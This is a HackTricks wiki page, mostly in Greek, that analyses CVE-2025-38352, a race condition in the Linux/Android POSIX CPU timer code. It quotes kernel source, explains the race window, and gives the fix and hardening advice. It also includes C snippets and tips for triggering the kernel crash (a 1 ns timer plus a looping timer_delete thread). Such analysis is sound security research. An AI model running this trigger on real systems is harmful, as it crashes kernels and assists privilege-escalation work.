POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα τεκμηριώνει μια TOCTOU race condition σε Linux/Android POSIX CPU timers που μπορεί να καταστρέψει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό ορισμένες συνθήκες να οδηγηθεί προς privilege escalation.

  • Affected component: kernel/time/posix-cpu-timers.c
  • Πρωτογενές: expiry vs deletion race under task exit
  • Εξαρτάται από ρυθμίσεις: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Σύντομη ανασκόπηση εσωτερικών (relevant for exploitation)

  • Τρία ρολόγια CPU χειρίζονται τη λογιστική για τα timers μέσω cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • Η δημιουργία timer συνδέει ένα timer με ένα task/pid και αρχικοποιεί τους κόμβους του timerqueue:
c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • Το Arming εισάγει εγγραφές σε per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Fast path αποφεύγει τη δαπανηρή επεξεργασία εκτός εάν οι cached expiries υποδεικνύουν πιθανή εκτέλεση:
c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • Η λήξη συλλέγει τους ληγμένους timers, τους σημειώνει ως firing, τους απομακρύνει από την ουρά· η πραγματική παράδοση αναβάλλεται:
c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Δύο τρόποι επεξεργασίας λήξης

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η λήξη αναβάλλεται μέσω του task_work στη στοχευόμενη εργασία
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η λήξη χειρίζεται απευθείας στο πλαίσιο IRQ
c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

Στο IRQ-context path, η firing list επεξεργάζεται έξω από το sighand.

c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Βασική αιτία: TOCTOU μεταξύ IRQ-time expiry και ταυτόχρονης διαγραφής κατά την έξοδο του task Preconditions

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
  • Ο στοχευόμενος task εξέρχεται αλλά δεν έχει συλλεχθεί πλήρως (reaped)
  • Ένα άλλο νήμα καλεί ταυτόχρονα posix_cpu_timer_del() για τον ίδιο timer

Sequence

  1. update_process_times() ενεργοποιεί run_posix_cpu_timers() στο context του IRQ για το task που εξέρχεται.
  2. collect_timerqueue() θέτει ctmr->firing = 1 και μετακινεί τον timer στη προσωρινή λίστα firing.
  3. handle_posix_cpu_timers() απελευθερώνει sighand μέσω unlock_task_sighand() για να παραδώσει τους timers εκτός του lock.
  4. Αμέσως μετά το unlock, το task που εξέρχεται μπορεί να συλλεχθεί (reaped); ένα αδελφό νήμα εκτελεί posix_cpu_timer_del().
  5. Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παρακάμψει το κανονικό in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην είναι firing, διαφθείροντας την κατάσταση ενώ η λήξη χειρίζεται, οδηγώντας σε crashes/UB.

Why TASK_WORK mode is safe by design

  • Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η expiry αναβάλλεται στο task_work; το exit_task_work τρέχει πριν από το exit_notify, οπότε η επικαλυπτόμενη περίοδος IRQ-time με το reaping δεν συμβαίνει.
  • Ακόμα κι έτσι, αν το task ήδη εξέρχεται, το task_work_add() αποτυγχάνει; το gating στο exit_state καθιστά και τις δύο λειτουργίες συνεπείς.

Fix (Android common kernel) and rationale

  • Προσθέστε πρώιμο return αν το current task εξέρχεται, αποκλείοντας όλη την επεξεργασία:
c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • Αυτό αποτρέπει την είσοδο σε handle_posix_cpu_timers() για εργασίες που τερματίζουν, εξαλείφοντας το παράθυρο όπου posix_cpu_timer_del() θα μπορούσε να το χάσει it.cpu.firing και να κάνει race με την επεξεργασία λήξης.

Impact

  • Η διαφθορά μνήμης του kernel σε δομές των timer κατά τη διάρκεια ταυτόχρονης λήξης/διαγραφής μπορεί να οδηγήσει σε άμεσα crashes (DoS) και αποτελεί ισχυρό primitive προς privilege escalation λόγω ευκαιριών για αυθαίρετο χειρισμό της κατάστασης του kernel.

Triggering the bug (safe, reproducible conditions) Build/config

  • Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.

Runtime strategy

  • Στοχεύστε ένα νήμα που πρόκειται να τερματίσει και επισυνάψτε σε αυτό έναν CPU timer (per-thread ή process-wide clock):
  • For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
  • For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
  • Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • Από ένα sibling thread, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ ο target thread τερματίζεται:
c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Race amplifiers: υψηλός ρυθμός tick του scheduler, φόρτος CPU, επαναλαμβανόμενοι κύκλοι τερματισμού/επανδημιουργίας νημάτων. Το crash εμφανίζεται συνήθως όταν posix_cpu_timer_del() παραλείπει την ανίχνευση firing λόγω αποτυχίας task lookup/locking αμέσως μετά το unlock_task_sighand().

Detection and hardening

  • Mitigation: εφαρμόστε το exit_state guard; προτιμήστε την ενεργοποίηση του CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
  • Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν παρατηρείται it.cpu.firing==1 σε συνδυασμό με αποτυχημένα cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε ασυνέπειες στο timerqueue γύρω από το exit μιας task.

Audit hotspots (for reviewers)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

Notes for exploitation research

  • The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks